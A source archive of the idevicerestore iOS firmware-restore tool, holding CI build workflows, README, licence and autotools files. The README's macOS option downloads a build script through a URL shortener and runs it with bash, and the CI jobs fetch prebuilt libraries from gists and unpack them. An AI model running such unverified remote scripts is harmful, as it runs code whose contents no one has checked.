pax_global_header00006660000000000000000000000064146432032460014516gustar00rootroot0000000000000052 comment=f7e24ce6e56d67c9889744bb270ad6a98fe653f5 idevicerestore-master/000077500000000000000000000000001464320324600153675ustar00rootroot00000000000000idevicerestore-master/.github/000077500000000000000000000000001464320324600167275ustar00rootroot00000000000000idevicerestore-master/.github/workflows/000077500000000000000000000000001464320324600207645ustar00rootroot00000000000000idevicerestore-master/.github/workflows/build.yml000066400000000000000000000267061464320324600226210ustar00rootroot00000000000000name: build on: [push] jobs: build-linux-ubuntu: runs-on: ubuntu-latest steps: - name: install dependencies run: | sudo apt-get update sudo apt-get install libzip-dev libcurl4-openssl-dev libusb-1.0-0-dev - name: prepare environment run: | echo "target_triplet=`gcc -dumpmachine`" >> $GITHUB_ENV - name: fetch libirecovery uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libirecovery-latest_${{env.target_triplet}} repo: libimobiledevice/libirecovery - name: fetch libplist uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libplist-latest_${{env.target_triplet}} repo: libimobiledevice/libplist - name: fetch libusbmuxd uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libusbmuxd-latest_${{env.target_triplet}} repo: libimobiledevice/libusbmuxd - name: fetch libimobiledevice-glue uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-glue-latest_${{env.target_triplet}} repo: libimobiledevice/libimobiledevice-glue - name: fetch libimobiledevice uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-latest_${{env.target_triplet}} repo: libimobiledevice/libimobiledevice - name: fetch libtatsu uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libtatsu-latest_${{env.target_triplet}} repo: libimobiledevice/libtatsu - name: install external dependencies run: | mkdir extract for I in *.tar; do tar -C extract -xvf $I done rm -rf extract/lib sudo cp -r extract/* / sudo ldconfig - uses: actions/checkout@v4 with: fetch-depth: 0 - name: autogen run: ./autogen.sh PKG_CONFIG_PATH=/usr/local/lib/pkgconfig - name: make run: make - name: make install run: sudo make install - name: prepare artifact run: | mkdir -p dest DESTDIR=`pwd`/dest make install tar -C dest -cf idevicerestore.tar usr - name: publish artifact uses: actions/upload-artifact@v4 with: name: idevicerestore-latest_${{env.target_triplet}} path: idevicerestore.tar build-macOS: runs-on: macOS-latest steps: - name: install dependencies run: | if test -x "`which port`"; then sudo port install libtool autoconf automake pkgconfig else brew install libtool autoconf automake pkgconfig fi shell: bash - name: fetch libirecovery uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libirecovery-latest_macOS repo: libimobiledevice/libirecovery - name: fetch libplist uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libplist-latest_macOS repo: libimobiledevice/libplist - name: fetch libusbmuxd uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libusbmuxd-latest_macOS repo: libimobiledevice/libusbmuxd - name: fetch libimobiledevice-glue uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-glue-latest_macOS repo: libimobiledevice/libimobiledevice-glue - name: fetch libimobiledevice uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-latest_macOS repo: libimobiledevice/libimobiledevice - name: fetch libtatsu uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libtatsu-latest_macOS repo: libimobiledevice/libtatsu - name: install external dependencies run: | mkdir extract for I in *.tar; do tar -C extract -xvf $I done sudo cp -r extract/* / - uses: actions/checkout@v4 - name: install additional requirements run: | SDKDIR=`xcrun --sdk macosx --show-sdk-path 2>/dev/null` echo "SDKDIR=$SDKDIR" >> $GITHUB_ENV TESTARCHS="arm64 x86_64" USEARCHS= for ARCH in $TESTARCHS; do if echo "int main(int argc, char **argv) { return 0; }" |clang -arch $ARCH -o /dev/null -isysroot $SDKDIR -x c - 2>/dev/null; then USEARCHS="$USEARCHS -arch $ARCH" fi done export CFLAGS="$USEARCHS -isysroot $SDKDIR" echo "Using CFLAGS: $CFLAGS" echo "BUILD_CFLAGS=$CFLAGS" >> $GITHUB_ENV mkdir -p deps FILENAME="libzip-static.tar.bz2" curl -o $FILENAME.b64 -Ls "https://gist.github.com/nikias/3da15d03120382f87b44029cd8495a02/raw/99cd8138fed99e8f6530b6f179f787342c698e1f/libzip-1.7.1_static_macOS.tar.bz2" base64 -D < $FILENAME.b64 > $FILENAME tar -C deps -xjf $FILENAME echo "LIBZIP_CFLAGS=-I`pwd`/deps/include" >> $GITHUB_ENV echo "LIBZIP_LIBS=`pwd`/deps/lib/libzip.a -Xlinker ${SDKDIR}/usr/lib/libbz2.tbd -Xlinker ${SDKDIR}/usr/lib/liblzma.tbd -lz" >> $GITHUB_ENV - name: autogen run: | export CFLAGS="${{env.BUILD_CFLAGS}} -Wno-nullability-completeness -Wno-expansion-to-defined" echo "Using CFLAGS: $CFLAGS" ./autogen.sh PKG_CONFIG_PATH=/usr/local/lib/pkgconfig \ libcurl_CFLAGS="-I${{env.SDKDIR}}/usr/include" libcurl_LIBS="-lcurl" \ libzip_CFLAGS="$LIBZIP_CFLAGS" libzip_LIBS="$LIBZIP_LIBS" \ zlib_CFLAGS="-I${{env.SDKDIR}}/usr/include" zlib_LIBS="-lz" \ libimobiledevice_CFLAGS="-I/usr/local/include" libimobiledevice_LIBS="-L/usr/local/lib -lusbmuxd-2.0 -limobiledevice-glue-1.0 -limobiledevice-1.0" - name: make run: make - name: make install run: sudo make install - name: prepare artifact run: | mkdir -p dest DESTDIR=`pwd`/dest make install tar -C dest -cf idevicerestore.tar usr - name: publish artifact uses: actions/upload-artifact@v4 with: name: idevicerestore-latest_macOS path: idevicerestore.tar build-windows: runs-on: windows-2019 defaults: run: shell: msys2 {0} strategy: fail-fast: false matrix: include: [ { msystem: MINGW64, arch: x86_64 }, { msystem: MINGW32, arch: i686 } ] steps: - uses: msys2/setup-msys2@v2 with: msystem: ${{ matrix.msystem }} release: false update: false install: >- base-devel git mingw-w64-${{ matrix.arch }}-gcc make libtool autoconf automake-wrapper liblzma - name: prepare environment run: | dest=`echo ${{ matrix.msystem }} |tr [:upper:] [:lower:]` echo "dest=$dest" >> $GITHUB_ENV echo "target_triplet=`gcc -dumpmachine`" >> $GITHUB_ENV - name: fetch libirecovery uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libirecovery-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libirecovery - name: fetch libplist uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libplist-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libplist - name: fetch libusbmuxd uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libusbmuxd-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libusbmuxd - name: fetch libimobiledevice-glue uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-glue-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libimobiledevice-glue - name: fetch libimobiledevice uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libimobiledevice-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libimobiledevice - name: fetch libtatsu uses: dawidd6/action-download-artifact@v3 with: github_token: ${{secrets.GITHUB_TOKEN}} workflow: build.yml name: libtatsu-latest_${{ matrix.arch }}-${{ env.dest }} repo: libimobiledevice/libtatsu - name: install external dependencies run: | mkdir extract for I in *.tar; do tar -C extract -xvf $I done cp -r extract/* / - uses: actions/checkout@v4 - name: install additional requirements run: | FILENAME="libzip-1.7.1-static.tar.bz2" curl -o $FILENAME.b64 -Ls "https://gist.github.com/nikias/3da15d03120382f87b44029cd8495a02/raw/99cd8138fed99e8f6530b6f179f787342c698e1f/libzip-1.7.1_static_${{matrix.arch}}-${{env.dest}}.tar.bz2" base64 -d < $FILENAME.b64 > $FILENAME mkdir deps tar -C deps -xjf $FILENAME echo "LIBZIP_CFLAGS=-I`pwd`/deps/include" >> $GITHUB_ENV echo "LIBZIP_LIBS=`pwd`/deps/lib/libzip.a /${{env.dest}}/lib/libbz2.a /${{env.dest}}/lib/liblzma.a " >> $GITHUB_ENV FILENAME="libcurl-8.1.0-static.tar.bz2" curl -o $FILENAME.b64 -Ls "https://gist.github.com/nikias/6c397a0a2f4f4eafd91b81cccd22b761/raw/85216e60af6787f3b351291165eb91bd585ff09a/libcurl-8.1.0-static-${{matrix.arch}}-${{env.dest}}.tar.bz2" base64 -d < $FILENAME.b64 > $FILENAME tar -C deps -xjf $FILENAME echo "LIBCURL_CFLAGS=-I`pwd`/deps/include -DCURL_STATICLIB" >> $GITHUB_ENV echo "LIBCURL_LIBS=`pwd`/deps/lib/libcurl.a /${{env.dest}}/lib/libzstd.a -lws2_32 -lcrypt32 -lwldap32 -lbcrypt -lssl -lcrypto" >> $GITHUB_ENV - name: autogen run: | ./autogen.sh CC=gcc CXX=g++ \ libzip_VERSION=1.7.1 libzip_CFLAGS="${{env.LIBZIP_CFLAGS}}" libzip_LIBS="${{env.LIBZIP_LIBS}}" \ zlib_LIBS="/${{env.dest}}/lib/libz.a" libcurl_CFLAGS="${{env.LIBCURL_CFLAGS}}" libcurl_LIBS="$LIBCURL_LIBS" - name: make run: make - name: make install run: make install - name: prepare artifact run: | mkdir -p dest DESTDIR=`pwd`/dest make install tar -C dest -cf idevicerestore.tar ${{ env.dest }} - name: publish artifact uses: actions/upload-artifact@v4 with: name: idevicerestore-latest_${{ matrix.arch }}-${{ env.dest }} path: idevicerestore.tar idevicerestore-master/.github/workflows/curl.yml000066400000000000000000000041701464320324600224560ustar00rootroot00000000000000name: build-libcurl-static on: workflow_dispatch jobs: build-windows: runs-on: windows-2019 defaults: run: shell: msys2 {0} strategy: fail-fast: false matrix: include: [ { msystem: MINGW64, arch: x86_64 }, { msystem: MINGW32, arch: i686 } ] steps: - uses: msys2/setup-msys2@v2 with: msystem: ${{ matrix.msystem }} release: false update: false install: >- base-devel git mingw-w64-${{ matrix.arch }}-gcc make libtool autoconf automake-wrapper liblzma - name: prepare environment run: | dest=`echo ${{ matrix.msystem }} |tr [:upper:] [:lower:]` echo "dest=$dest" >> $GITHUB_ENV echo "target_triplet=`gcc -dumpmachine`" >> $GITHUB_ENV - name: fetch curl source run: | curl -Ls -o curl-8.1.0.tar.bz2 https://github.com/curl/curl/releases/download/curl-8_1_0/curl-8.1.0.tar.bz2 tar xjf curl-8.1.0.tar.bz2 - name: configure curl run: | cd curl-8.1.0 ./configure --disable-ldap --disable-ldaps --disable-rtsp --disable-dict --disable-telnet --disable-tftp --disable-pop3 --disable-imap --disable-smb --disable-smtp --disable-gopher --disable-mqtt --disable-manual --disable-threaded-resolver --disable-pthreads --disable-sspi --disable-aws --disable-ntlm --disable-ntlm-wb --disable-tls-srp --disable-unix-sockets --disable-doh --disable-mime --disable-bindlocal --disable-dnsshuffle --disable-alt-svc --disable-hsts --disable-websockets --with-openssl --without-brotli --without-libidn2 --without-ngtcp2 --without-quiche --without-msh3 --without-nghttp2 --without-libpsl - name: build libcurl run: | CURDIR=`pwd` cd curl-8.1.0/lib make cp .libs/libcurl.a . cd .. tar cf $CURDIR/libcurl-static.tar lib/libcurl.a include/curl/*.h - name: publish artifact uses: actions/upload-artifact@v3 with: name: libcurl_${{ matrix.arch }}-${{ env.dest }} path: libcurl-static.tar idevicerestore-master/.gitignore000066400000000000000000000010451464320324600173570ustar00rootroot00000000000000# git-ls-files --others --exclude-from=.git/info/exclude # Lines that start with '#' are comments. # For a project mostly in C, the following would be a good set of # exclude patterns (uncomment them if you want to use them): *.[oa] *~ *.po *.lo *.la autom4te.cache/* *.in */.deps/* m4/* swig/* *.swp *.patch *.diff aclocal.m4 config.h config.log config.sub config.guess config.status configure depcomp install-sh compile main ltmain.sh missing mkinstalldirs libtool *Makefile py-compile stamp-h1 src/.libs src/idevicerestore src/idevicerestore.exe idevicerestore-master/AUTHORS000066400000000000000000000001621464320324600164360ustar00rootroot00000000000000Joshua Hill Martin Szulecki Nikias Bassen idevicerestore-master/COPYING000066400000000000000000000167431464320324600164350ustar00rootroot00000000000000 GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. idevicerestore-master/Makefile.am000066400000000000000000000004231464320324600174220ustar00rootroot00000000000000AUTOMAKE_OPTIONS = foreign ACLOCAL_AMFLAGS = -I m4 SUBDIRS = src docs EXTRA_DIST = \ docs \ README.md \ git-version-gen dist-hook: @if ! git diff --quiet; then echo "Uncommitted changes present; not releasing"; exit 1; fi echo $(VERSION) > $(distdir)/.tarball-version idevicerestore-master/NEWS000066400000000000000000000011241464320324600160640ustar00rootroot00000000000000Version 1.0.0 ~~~~~~~~~~~~~ * First official public release * Features: - Restore firmware files to iOS devices - Use official IPSW firmware archive file or directory - Updates the device by default or allows full restore erasing all data - Download latest available firmware for device on demand - Cache downloaded firmware files - Restore using custom firmware files (requires bootrom exploit) - Skip NOR/Baseband upgrade - Fetch TSS records as ".shsh" files - Put devices in pwned DFU mode (limera1n devices only) - Use custom AP ticket from file - Developed since 2010 idevicerestore-master/README.md000066400000000000000000000241641464320324600166550ustar00rootroot00000000000000# idevicerestore *A command-line application to restore firmware files to iOS devices.* ![](https://github.com/libimobiledevice/idevicerestore/actions/workflows/build.yml/badge.svg) ## Table of Contents - [Features](#features) - [Building](#building) - [Prerequisites](#prerequisites) - [Linux (Debian/Ubuntu based)](#linux-debianubuntu-based) - [macOS](#macos) - [Windows](#windows) - [Configuring the source tree](#configuring-the-source-tree) - [Building and installation](#building-and-installation) - [Usage](#usage) - [Contributing](#contributing) - [Links](#links) - [License](#license) - [Credits](#credits) ## Features The idevicerestore application is a full reimplementation of all granular steps which are performed during the restore of a firmware to a device. In general, upgrades and downgrades are possible, however subject to availability of SHSH blobs from Apple for signing the firmware files. Some key features are: - **Restore:** Update firmware on iOS devices - **Firmware:** Use official IPSW firmware archive file or a directory as source - **Update:** Allows updating the device by default or erasing all data - **Download:** On demand download of latest available firmware for a device - **Cache:** Downloaded firmware files are cached locally - **Custom Firmware:** Restore custom firmware files *(requires bootrom exploit)* - **Baseband:** Allows you to skip NOR/Baseband upgrade - **SHSH:** Fetch TSS records and save them as ".shsh" files - **DFU:** Put devices in pwned DFU mode *(limera1n devices only)* - **AP Ticket:** Use custom AP ticket from a file - **Cross-Platform:** Tested on Linux, macOS, Windows and Android platforms - **History:** Developed since 2010 **WARNING:** This tool can easily __destroy your user data__ irreversibly. Use with caution and make sure to backup your data before trying to restore. **In any case, usage is at your own risk.** ## Building ### Prerequisites You need to have a working compiler (gcc/clang) and development environent available. This project uses autotools for the build process, allowing to have common build steps across different platforms. Only the prerequisites differ and they are described in this section. #### Linux (Debian/Ubuntu based) * Install all required dependencies and build tools: ```shell sudo apt-get install \ build-essential \ pkg-config \ checkinstall \ git \ autoconf \ automake \ libtool-bin \ libreadline-dev \ libusb-1.0-0-dev \ libplist-dev \ libimobiledevice-dev \ libimobiledevice-glue-dev \ libtatsu-dev \ libcurl4-openssl-dev \ libssl-dev \ libzip-dev \ zlib1g-dev ``` NOTE: [libtatsu](https://github.com/libimobiledevice/libtatsu) (and thus `libtatsu-dev`) is a new library that was just published recently, you have to [build it from source](https://github.com/libimobiledevice/libtatsu?tab=readme-ov-file#building). Also, other `*-dev` packages might not be available for your distribution, so you will have to build these packages on your own as well. #### macOS * Make sure the Xcode command line tools are installed. **Option 1**: The easiest way to build and install `idevicerestore` for macOS is using the following build script which will do the work for you, it will build and install all required dependencies: ```bash mkdir -p limd-build cd limd-build curl -o ./limd-build-macos.sh -L https://is.gd/limdmacos bash ./limd-build-macos.sh ``` Follow the prompts of the script and you should have a working `idevicerestore` available. **Option 2**: Use either [MacPorts](https://www.macports.org/) or [Homebrew](https://brew.sh/) to install `automake`, `autoconf`, and `libtool`. Using MacPorts: ```shell sudo port install libtool autoconf automake ``` Using Homebrew: ```shell brew install libtool autoconf automake ``` `idevicerestore` has a few dependencies from the libimobiledevice project. You will have to build and install the following: * [libplist](https://github.com/libimobiledevice/libplist) * [libimobiledevice-glue](https://github.com/libimobiledevice/libimobiledevice-glue) * [libusbmuxd](https://github.com/libimobiledevice/libusbmuxd) * [libimobiledevice](https://github.com/libimobiledevice/libimobiledevice) * [libirecovery](https://github.com/libimobiledevice/libirecovery) * [libtatsu](https://github.com/libimobiledevice/libtatsu) Check their `README.md` for building and installation instructions. #### Windows * Using [MSYS2](https://www.msys2.org/) is the official way of compiling this project on Windows. Download the MSYS2 installer and follow the installation steps. It is recommended to use the _MSYS2 MinGW 64-bit_ shell. Run it and make sure the required dependencies are installed: ```shell pacman -S base-devel \ git \ mingw-w64-x86_64-gcc \ make \ libtool \ autoconf \ automake-wrapper ``` NOTE: You can use a different shell and different compiler according to your needs. Adapt the above command accordingly. `idevicerestore` has a few dependencies from the libimobiledevice project. You will have to build and install the following: * [libplist](https://github.com/libimobiledevice/libplist) * [libimobiledevice-glue](https://github.com/libimobiledevice/libimobiledevice-glue) * [libusbmuxd](https://github.com/libimobiledevice/libusbmuxd) * [libimobiledevice](https://github.com/libimobiledevice/libimobiledevice) * [libirecovery](https://github.com/libimobiledevice/libirecovery) * [libtatsu](https://github.com/libimobiledevice/libtatsu) Check their `README.md` for building and installation instructions. ### Configuring the source tree You can build the source code from a git checkout, or from a `.tar.bz2` release tarball from [Releases](https://github.com/libimobiledevice/idevicerestore/releases). Before we can build it, the source tree has to be configured for building. The steps depend on where you got the source from. * **From git** If you haven't done already, clone the actual project repository and change into the directory. ```shell git clone https://github.com/libimobiledevice/idevicerestore.git cd idevicerestore ``` Configure the source tree for building: ```shell ./autogen.sh ``` * **From release tarball (.tar.bz2)** When using an official [release tarball](https://github.com/libimobiledevice/idevicerestore/releases) (`idevicerestore-x.y.z.tar.bz2`) the procedure is slightly different. Extract the tarball: ```shell tar xjf idevicerestore-x.y.z.tar.bz2 cd idevicerestore-x.y.z ``` Configure the source tree for building: ```shell ./configure ``` Both `./configure` and `./autogen.sh` (which generates and calls `configure`) accept a few options, for example `--prefix` to allow building for a different target folder. You can simply pass them like this: ```shell ./autogen.sh --prefix=/usr/local ``` or ```shell ./configure --prefix=/usr/local ``` Once the command is successful, the last few lines of output will look like this: ``` [...] config.status: creating config.h config.status: config.h is unchanged config.status: executing depfiles commands config.status: executing libtool commands Configuration for idevicerestore 1.1.0: ------------------------------------------- Install prefix: .........: /usr/local Now type 'make' to build idevicerestore 1.1.0, and then 'make install' for installation. ``` **Important** idevicerestore requires a properly installed [usbmuxd](https://github.com/libimobiledevice/usbmuxd.git) for the restore procedure. Please make sure that it is either running or configured to be started automatically as soon as a device is detected in normal and/or restore mode. If properly installed this will be handled by udev/systemd. ## Usage The primary scenario is to restore a new firmware to a device. First of all attach your device to your machine. Then simply run: ```shell idevicerestore --latest ``` This will print a selection of firmware versions that are currently being signed and can be restored to the attached device. It will then attempt to download and restore the selected firmware. By default, an update restore is performed which will preserve user data. Mind that if the firmware file does not contain a 'Customer Upgrade Install' variant, an erase restore will be performed. You can force restoring with erasing all data and basically resetting the device by using: ```shell idevicerestore --erase --latest ``` Please consult the usage information or manual page for a full documentation of available command line options: ```shell idevicerestore --help man idevicerestore ``` ## Contributing We welcome contributions from anyone and are grateful for every pull request! If you'd like to contribute, please fork the `master` branch, change, commit and send a pull request for review. Once approved it can be merged into the main code base. If you plan to contribute larger changes or a major refactoring, please create a ticket first to discuss the idea upfront to ensure less effort for everyone. Please make sure your contribution adheres to: * Try to follow the code style of the project * Commit messages should describe the change well without being too short * Try to split larger changes into individual commits of a common domain * Use your real name and a valid email address for your commits ## Links * Homepage: https://libimobiledevice.org/ * Repository: https://git.libimobiledevice.org/idevicerestore.git * Repository (Mirror): https://github.com/libimobiledevice/idevicerestore.git * Issue Tracker: https://github.com/libimobiledevice/idevicerestore/issues * Mailing List: https://lists.libimobiledevice.org/mailman/listinfo/libimobiledevice-devel * Twitter: https://twitter.com/libimobiledev ## License This project is licensed under the [GNU Lesser General Public License v3.0](https://www.gnu.org/licenses/lgpl-3.0.en.html), also included in the repository in the `COPYING` file. ## Credits Apple, iPhone, iPad, iPod, iPod Touch, Apple TV, Apple Watch, Mac, iOS, iPadOS, tvOS, watchOS, and macOS are trademarks of Apple Inc. This project is an independent software application and has not been authorized, sponsored, or otherwise approved by Apple Inc. README Updated on: 2024-06-19 idevicerestore-master/autogen.sh000077500000000000000000000005551464320324600173750ustar00rootroot00000000000000#!/bin/sh olddir=`pwd` srcdir=`dirname $0` test -z "$srcdir" && srcdir=. ( cd "$srcdir" gprefix=`which glibtoolize 2>&1 >/dev/null` if [ $? -eq 0 ]; then glibtoolize --force else libtoolize --force fi aclocal -I m4 autoheader automake --add-missing autoconf cd "$olddir" ) if [ -z "$NOCONFIGURE" ]; then $srcdir/configure "$@" fi idevicerestore-master/configure.ac000066400000000000000000000137641464320324600176700ustar00rootroot00000000000000# -*- Autoconf -*- # Process this file with autoconf to produce a configure script. AC_PREREQ([2.68]) AC_INIT([idevicerestore], [m4_esyscmd(./git-version-gen $RELEASE_VERSION)], [https://github.com/libimobiledevice/idevicerestore/issues], [], [https://libimobiledevice.org]) AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip]) m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES]) AC_CONFIG_SRCDIR([src/]) AC_CONFIG_HEADERS([config.h]) AC_CONFIG_MACRO_DIR([m4]) # Check if we have a version defined if test -z $PACKAGE_VERSION; then AC_MSG_ERROR([PACKAGE_VERSION is not defined. Make sure to configure a source tree checked out from git or that .tarball-version is present.]) fi # Minimum package versions LIBIRECOVERY_VERSION=1.2.0 LIBIMOBILEDEVICE_VERSION=1.3.0 LIBUSBMUXD_VERSION=2.0.2 LIBPLIST_VERSION=2.6.0 LIMD_GLUE_VERSION=1.3.0 LIBTATSU_VERSION=1.0.3 LIBZIP_VERSION=1.0 LIBCURL_VERSION=7.0 AC_SUBST(LIBIRECOVERY_VERSION) AC_SUBST(LIBIMOBILEDEVICE_VERSION) AC_SUBST(LIBUSBMUXD_VERSION) AC_SUBST(LIBPLIST_VERSION) AC_SUBST(LIMD_GLUE_VERSION) AC_SUBST(LIBTATSU_VERSION) AC_SUBST(LIBZIP_VERSION) AC_SUBST(LIBCURL_VERSION) # Checks for programs. AC_PROG_CC AM_PROG_CC_C_O LT_INIT # Checks for libraries. PKG_CHECK_MODULES(libirecovery, libirecovery-1.0 >= $LIBIRECOVERY_VERSION) PKG_CHECK_MODULES(libimobiledevice, libimobiledevice-1.0 >= $LIBIMOBILEDEVICE_VERSION) PKG_CHECK_MODULES(libusbmuxd, libusbmuxd-2.0 >= $LIBUSBMUXD_VERSION) PKG_CHECK_MODULES(libplist, libplist-2.0 >= $LIBPLIST_VERSION) PKG_CHECK_MODULES(limd_glue, libimobiledevice-glue-1.0 >= $LIMD_GLUE_VERSION) PKG_CHECK_MODULES(libtatsu, libtatsu-1.0 >= $LIBTATSU_VERSION) PKG_CHECK_MODULES(libzip, libzip >= $LIBZIP_VERSION) PKG_CHECK_MODULES(libcurl, libcurl >= $LIBCURL_VERSION) PKG_CHECK_MODULES(zlib, zlib) AC_CHECK_FUNCS([strsep strcspn mkstemp realpath]) if test x$ac_cv_func_strsep != xyes; then if test x$ac_cv_func_strcspn != xyes; then AC_MSG_ERROR([You need either strsep or strcspn to build $PACKAGE]) fi fi AC_CHECK_HEADER(endian.h, [ac_cv_have_endian_h="yes"], [ac_cv_have_endian_h="no"]) if test "x$ac_cv_have_endian_h" = "xno"; then AC_DEFINE(__LITTLE_ENDIAN,1234,[little endian]) AC_DEFINE(__BIG_ENDIAN,4321,[big endian]) AC_C_BIGENDIAN([ac_cv_c_bigendian="yes"], [ac_cv_c_bigendian="no"], [], []) if test "x$ac_cv_c_bigendian" = "xyes"; then AC_DEFINE(__BYTE_ORDER,4321,[big endian byte order]) else AC_DEFINE(__BYTE_ORDER,1234,[little endian byte order]) fi fi GLOBAL_CFLAGS="-Wno-multichar -O2" AC_LDADD="" AC_LDFLAGS="" CFLAGS="$CFLAGS $libplist_CFLAGS" AC_CHECK_DECL([plist_from_json], [], [AC_MSG_ERROR([libplist with JSON format support required to build $PACKAGE_NAME])], [[#include ]]) # Check for operating system AC_MSG_CHECKING([for platform-specific build settings]) case ${host_os} in *mingw32*|*cygwin*) AC_MSG_RESULT([${host_os}]) win32=true GLOBAL_CFLAGS+=" -DWIN32 -D__LITTLE_ENDIAN__=1" AC_LDFLAGS+=" -static-libgcc" ;; darwin*) AC_MSG_RESULT([${host_os}]) AC_DEFINE([_DARWIN_BETTER_REALPATH], [1], [Use better method for realpath]) ;; *) AC_MSG_RESULT([${host_os}]) ;; esac AM_CONDITIONAL(WIN32, test x$win32 = xtrue) if test x$win32 != xtrue; then if test "x$ac_cv_func_mkstemp" != xyes; 